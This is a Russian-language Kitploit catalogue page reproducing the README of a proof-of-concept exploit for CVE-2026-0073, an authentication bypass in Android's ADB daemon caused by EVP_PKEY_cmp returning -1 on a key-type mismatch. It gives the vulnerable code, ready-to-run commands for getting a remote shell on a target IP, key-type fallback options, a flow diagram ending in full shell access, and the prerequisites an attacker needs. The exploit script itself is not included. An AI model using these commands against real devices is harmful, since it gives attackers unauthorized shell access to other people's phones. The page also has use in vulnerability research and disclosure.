Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-0073-Android-ADBD-bypass-POC — CVE-2026-0073 — Обход аутентификации TLS в демоне ADB (adbd) Android через путаницу типов в EVP_PKEY_cmp. Получение несанкционированного доступа к оболочке по WiFi с использованием несоответствия ключей EC/Ed25519. PoC-эксплойт для Android 14+. | Kitploit
Инструменты/GitHubGitHub/martinpsdev/cve-2026-0073-android-adbd-bypass-poc
Безопасность AndroidАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеМобильная безопасностьRed Teaming
GitHubmartinpsdev/cve-2026-0073-android-adbd-bypass-poc

CVE-2026-0073-Android-ADBD-bypass-POC

CVE-2026-0073 — Обход аутентификации TLS в демоне ADB (adbd) Android через путаницу типов в EVP_PKEY_cmp. Получение несанкционированного доступа к оболочке по WiFi с использованием несоответствия ключей EC/Ed25519. PoC-эксплойт для Android 14+.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2263 месяцев назадПроверено Kitploit

CVE-2026-0073 — Обход аутентификации TLS в Android ADBD

Путаница типов в EVP_PKEY_cmp() → несанкционированный доступ к ADB shell

Python 3.10+ CVE-2026-0073 Android License


🔥 Обзор

Критический обход аутентификации в демоне ADB Android (adbd) позволяет любому атакующему в локальной сети получить полный shell на целевом устройстве без авторизации пользователя.

Уязвимость существует в adbd_tls_verify_cert() внутри daemon/auth.cpp, где EVP_PKEY_cmp() используется как логическое значение. Когда сохранённый ключ является RSA, а представленный TLS-сертификат клиента содержит не-RSA ключ (EC P-256 или Ed25519), EVP_PKEY_cmp() возвращает -1 (несоответствие типов), что является истинным в C/C++, поэтому authorized = true.

root@kitploit:~
// Уязвимый фрагмент кода в daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) {  // ← ОШИБКА: -1 истинно!
    authorized = true;
}

⚡ Быстрый старт

Установка зависимостей

root@kitploit:~
pip install cryptography

Запуск эксплойта

root@kitploit:~
# Интерактивный shell
python adb_tls_auth_bypass.py <IP_ЦЕЛИ> <ПОРТ>

# Выполнение одной команды
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Подробный режим (полный протокол трассировки)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

Принудительное указание типа ключа

root@kitploit:~
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

По умолчанию скрипт автоматически перебирает EC P-256 → Ed25519 → EC/TLS 1.2, пока один из вариантов не сработает.


🎯 Схема эксплойта

root@kitploit:~
   Атакующий                          Цель (adbd)
      │                                    │
      │──── TCP connect ──────────────────►│
      │──── CNXN (открытый текст) ────────►│
      │◄─── STLS (запрос обновления TLS) ─│
      │──── Ответ STLS ──────────────────►│
      │                                    │
      │════ Рукопожатие TLS 1.3 ══════════│
      │  (представлен сертификат клиента EC P-256)  │
      │  EVP_PKEY_cmp(EC, RSA) → -1       │
      │  -1 истинно → authorized=true     │
      │════════════════════════════════════│
      │                                    │
      │◄─── CNXN (информация об устройстве) ─│
      │──── OPEN "shell:" ───────────────►│
      │◄─── OKAY ────────────────────────│
      │◄──► WRTE/OKAY (ввод/вывод shell) ─►│
      │                                    │
    [ПОЛНЫЙ ДОСТУП К SHELL]                │

📋 Предварительные требования

Требование

⚠️ Важно: RSA-ключ должен находиться в /data/misc/adb/adb_keys, который заполняется через сопряжение отладки по USB (подтверждение диалога «Разрешить отладку по USB?»). Сопряжение беспроводной отладки (adb pair) сохраняет ключи в другом месте (adb_known_hosts.pb) и НЕ удовлетворяет этому требованию.


🛡️ Затронутые версии

  • Android 14 (AOSP) — ✅ Подтверждённая уязвимость
  • Android 15 (AOSP) — Вероятно, уязвим (непатченные сборки)
  • Сборки конкретных производителей могут отличаться (Samsung One UI, Pixel и т. д.)

Как проверить уровень патча

root@kitploit:~
adb shell getprop ro.build.version.security_patch

🧪 Тестовая среда

Протестировано и подтверждено на:

root@kitploit:~
Kernel:   6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)

🔧 Улучшения по сравнению с оригиналом

Этот форк включает несколько улучшений:

  • ✅ Множественный запасной вариант ключей — Автоматический перебор EC P-256 → Ed25519 → EC/TLS 1.2
  • ✅ Поддержка Ed25519 — Альтернативный тип ключа для более широкой совместимости
  • ✅ Запасной вариант TLS 1.2 — Другой поток сертификата клиента (отправка во время рукопожатия вместо после рукопожатия)
  • ✅ Расширенный сертификат — Правильные расширения X.509 (BasicConstraints, KeyUsage)
  • ✅ Совместимость с Windows — Использование потокового ввода/вывода вместо select() для кроссплатформенной поддержки
  • ✅ Увеличенные таймауты — Лучшая надёжность на медленных сетях
  • ✅ Подробная диагностика — Детальная трассировка протокола с флагом -v

📁 Структура проекта

root@kitploit:~
CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py    # Основной скрипт эксплойта
└── README.md                 # Этот файл

⚠️ Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Всегда получайте надлежащее разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование этого программного обеспечения.


📚 Ссылки

  • CVE-2026-0073 — MITRE
  • Бюллетень безопасности Android
  • Документация OpenSSL EVP_PKEY_cmp
  • Справочник по протоколу ADB

Если это помогло вашему исследованию, поставьте ⭐

Скачать инструмент
Возвращаемое значение EVP_PKEY_cmp()ЗначениеИстинно в C?Результат
1Ключи совпадают✅Авторизован (корректно)
0Ключи различаются❌Отклонён (корректно)
-1Несоответствие типов✅Авторизован (ОШИБКА)
Детали
Параметры разработчикаВключены на целевом устройстве
Беспроводная отладкаВключена (или ADB через TCP на порту 5555)
Сохранённый RSA-ключУстройство должно быть сопряжено через USB хотя бы один раз (/data/misc/adb/adb_keys)
Сетевой доступАтакующий должен иметь доступ к TCP-порту adbd